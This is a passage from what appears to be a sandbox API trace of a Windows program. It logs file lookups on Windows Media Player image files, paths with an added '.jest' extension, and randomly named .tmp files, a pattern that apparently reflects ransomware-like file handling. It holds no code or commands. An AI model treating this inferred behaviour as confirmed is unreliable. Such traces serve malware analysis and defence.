lpFileName="H7h3K4i555iuli6Uz1wrXRS5Z_PXDzBENu1GTcS3-C7yMoXJIca-_lUKgmZlk1bsrCkJQoB-IPPC7dTHARjvEefl1Yg0VDmN5rop.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H7h3K4i555iuli6Uz1wrXRS5Z_PXDzBENu1GTcS3-C7yMoXJIca-_lUKgmZlk1bsrCkJQoB-IPPC7dTHARjvEefl1Yg0VDmN5rop.tmp", lpFilePart=0x18e708*="H7h3K4i555iuli6Uz1wrXRS5Z_PXDzBENu1GTcS3-C7yMoXJIca-_lUKgmZlk1bsrCkJQoB-IPPC7dTHARjvEefl1Yg0VDmN5rop.tmp") returned 0x8e [0123.769] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", lpFilePart=0x18e708*="DMR_120.jpg") returned 0x46 [0123.769] GetFullPathNameA (in: lpFileName="H7h3K4i555iuli6Uz1wrXRS5Z_PXDzBENu1GTcS3-C7yMoXJIca-_lUKgmZlk1bsrCkJQoB-IPPC7dTHARjvEefl1Yg0VDmN5rop.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H7h3K4i555iuli6Uz1wrXRS5Z_PXDzBENu1GTcS3-C7yMoXJIca-_lUKgmZlk1bsrCkJQoB-IPPC7dTHARjvEefl1Yg0VDmN5rop.tmp", lpFilePart=0x18e6e4*="H7h3K4i555iuli6Uz1wrXRS5Z_PXDzBENu1GTcS3-C7yMoXJIca-_lUKgmZlk1bsrCkJQoB-IPPC7dTHARjvEefl1Yg0VDmN5rop.tmp") returned 0x8e [0123.769] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H7h3K4i555iuli6Uz1wrXRS5Z_PXDzBENu1GTcS3-C7yMoXJIca-_lUKgmZlk1bsrCkJQoB-IPPC7dTHARjvEefl1Yg0VDmN5rop.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x33683748, cFileName="K4i555iuli6Uz1wrXRS5Z_PXDzBENu1GTcS3-C7yMoXJIca-_lUKgmZlk1bsrCkJQoB-IPPC7dTHARjvEefl1Yg0VDmN5rop.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.769] GetLastError () returned 0x2 [0123.770] GetLastError () returned 0x2 [0123.770] SetLastError (dwErrCode=0x2) [0123.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.770] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.770] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.770] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.770] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.770] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.771] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.771] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.771] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.771] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.771] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.771] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.771] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", lpFilePart=0x18e870*="DMR_120.png") returned 0x46 [0123.779] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png.jest", lpFilePart=0x18e870*="DMR_120.png.jest") returned 0x4b [0123.782] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", lpFilePart=0x18e6d8*="DMR_120.png") returned 0x46 [0123.782] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79de7474, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79de7474, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x78, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 0x143ce48 [0123.783] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.783] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", lpFilePart=0x18e780*="DMR_120.png") returned 0x46 [0123.784] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", lpFilePart=0x18e780*="DMR_120.png") returned 0x46 [0123.784] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.784] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x31f)) [0123.784] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x31f)) [0123.784] GetUserDefaultLCID () returned 0x409 [0123.784] VarBstrFromR4 (in: fltIn=0x479443e6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.8") returned 0x0 [0123.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ã") returned 1 [0123.785] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", lpFilePart=0x18e780*="DMR_120.png") returned 0x46 [0123.786] GetFullPathNameA (in: lpFileName="2LmtH4Hy3fxSs-QGS-7uHyUN3I6Qjml7b5F_49PFl0vs7u5jgdGXQmYMZRP8tH4 5alO2McM9F4DkYHYZHU5uEU_01Php7ZdWaXnx.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2LmtH4Hy3fxSs-QGS-7uHyUN3I6Qjml7b5F_49PFl0vs7u5jgdGXQmYMZRP8tH4 5alO2McM9F4DkYHYZHU5uEU_01Php7ZdWaXnx.tmp", lpFilePart=0x18e708*="2LmtH4Hy3fxSs-QGS-7uHyUN3I6Qjml7b5F_49PFl0vs7u5jgdGXQmYMZRP8tH4 5alO2McM9F4DkYHYZHU5uEU_01Php7ZdWaXnx.tmp") returned 0x8f [0123.786] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", lpFilePart=0x18e708*="DMR_120.png") returned 0x46 [0123.786] GetFullPathNameA (in: lpFileName="2LmtH4Hy3fxSs-QGS-7uHyUN3I6Qjml7b5F_49PFl0vs7u5jgdGXQmYMZRP8tH4 5alO2McM9F4DkYHYZHU5uEU_01Php7ZdWaXnx.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2LmtH4Hy3fxSs-QGS-7uHyUN3I6Qjml7b5F_49PFl0vs7u5jgdGXQmYMZRP8tH4 5alO2McM9F4DkYHYZHU5uEU_01Php7ZdWaXnx.tmp", lpFilePart=0x18e6e4*="2LmtH4Hy3fxSs-QGS-7uHyUN3I6Qjml7b5F_49PFl0vs7u5jgdGXQmYMZRP8tH4 5alO2McM9F4DkYHYZHU5uEU_01Php7ZdWaXnx.tmp") returned 0x8f [0123.786] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2LmtH4Hy3fxSs-QGS-7uHyUN3I6Qjml7b5F_49PFl0vs7u5jgdGXQmYMZRP8tH4 5alO2McM9F4DkYHYZHU5uEU_01Php7ZdWaXnx.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x746d4c32, cFileName="H4Hy3fxSs-QGS-7uHyUN3I6Qjml7b5F_49PFl0vs7u5jgdGXQmYMZRP8tH4 5alO2McM9F4DkYHYZHU5uEU_01Php7ZdWaXnx.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.787] GetLastError () returned 0x2 [0123.787] GetLastError () returned 0x2 [0123.787] SetLastError (dwErrCode=0x2) [0123.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.787] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.788] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.789] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.789] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", lpFilePart=0x18e870*="DMR_48.jpg") returned 0x45 [0123.806] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg.jest", lpFilePart=0x18e870*="DMR_48.jpg.jest") returned 0x4a [0123.808] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", lpFilePart=0x18e6d8*="DMR_48.jpg") returned 0x45 [0123.809] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79d9b1b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79d9b1b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x78, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 0x143ce48 [0123.809] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.809] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", lpFilePart=0x18e780*="DMR_48.jpg") returned 0x45 [0123.810] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", lpFilePart=0x18e780*="DMR_48.jpg") returned 0x45 [0123.810] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.810] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x32e)) [0123.810] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x33e)) [0123.810] GetUserDefaultLCID () returned 0x409 [0123.810] VarBstrFromR4 (in: fltIn=0x479443ea, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.83") returned 0x0 [0123.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0123.811] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", lpFilePart=0x18e780*="DMR_48.jpg") returned 0x45 [0123.812] GetFullPathNameA (in: lpFileName="OS4f-XyrdRZ5bnAFqhGEbtBKUPzEHGgqatFj5sO-xFGrWjcnDyQwpBGFyyp7rGtiUWj2LQ2LglJWwXteCnV9GG3W4bfXhFtXXMyJ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OS4f-XyrdRZ5bnAFqhGEbtBKUPzEHGgqatFj5sO-xFGrWjcnDyQwpBGFyyp7rGtiUWj2LQ2LglJWwXteCnV9GG3W4bfXhFtXXMyJ.tmp", lpFilePart=0x18e708*="OS4f-XyrdRZ5bnAFqhGEbtBKUPzEHGgqatFj5sO-xFGrWjcnDyQwpBGFyyp7rGtiUWj2LQ2LglJWwXteCnV9GG3W4bfXhFtXXMyJ.tmp") returned 0x8e [0123.812] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", lpFilePart=0x18e708*="DMR_48.jpg") returned 0x45 [0123.812] GetFullPathNameA (in: lpFileName="OS4f-XyrdRZ5bnAFqhGEbtBKUPzEHGgqatFj5sO-xFGrWjcnDyQwpBGFyyp7rGtiUWj2LQ2LglJWwXteCnV9GG3W4bfXhFtXXMyJ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OS4f-XyrdRZ5bnAFqhGEbtBKUPzEHGgqatFj5sO-xFGrWjcnDyQwpBGFyyp7rGtiUWj2LQ2LglJWwXteCnV9GG3W4bfXhFtXXMyJ.tmp", lpFilePart=0x18e6e4*="OS4f-XyrdRZ5bnAFqhGEbtBKUPzEHGgqatFj5sO-xFGrWjcnDyQwpBGFyyp7rGtiUWj2LQ2LglJWwXteCnV9GG3W4bfXhFtXXMyJ.tmp") returned 0x8e [0123.812] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OS4f-XyrdRZ5bnAFqhGEbtBKUPzEHGgqatFj5sO-xFGrWjcnDyQwpBGFyyp7rGtiUWj2LQ2LglJWwXteCnV9GG3W4bfXhFtXXMyJ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6634534f, cFileName="-XyrdRZ5bnAFqhGEbtBKUPzEHGgqatFj5sO-xFGrWjcnDyQwpBGFyyp7rGtiUWj2LQ2LglJWwXteCnV9GG3W4bfXhFtXXMyJ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.812] GetLastError () returned 0x2 [0123.812] GetLastError () returned 0x2 [0123.813] SetLastError (dwErrCode=0x2) [0123.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.813] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.813] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.813] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.813] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.813] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.813] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.814] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0123.814] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0123.814] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0123.814] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0123.814] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0123.814] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", lpFilePart=0x18e870*="DMR_48.png") returned 0x45 [0123.822] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png.jest", lpFilePart=0x18e870*="DMR_48.png.jest") returned 0x4a [0123.825] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", lpFilePart=0x18e6d8*="DMR_48.png") returned 0x45 [0123.825] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5511151c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x5511151c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x5511151c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x78, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 0x143ce48 [0123.825] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.826] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", lpFilePart=0x18e780*="DMR_48.png") returned 0x45 [0123.827] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", lpFilePart=0x18e780*="DMR_48.png") returned 0x45 [0123.828] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.828] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x34d)) [0123.828] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x34d)) [0123.828] GetUserDefaultLCID () returned 0x409 [0123.828] VarBstrFromR4 (in: fltIn=0x479443ec, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.84") returned 0x0 [0123.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ë") returned 1 [0123.829] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", lpFilePart=0x18e780*="DMR_48.png") returned 0x45 [0123.829] GetFullPathNameA (in: lpFileName="kJT9EL_i02fqKQ336klyIZUJ7VK7siYbMFBpQJ3odIBWZQlAVPuQ_T5bL0wZGdNkhbyCenyuCzseXBHV2_B9yqQzqtYCP06_RoGdT.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 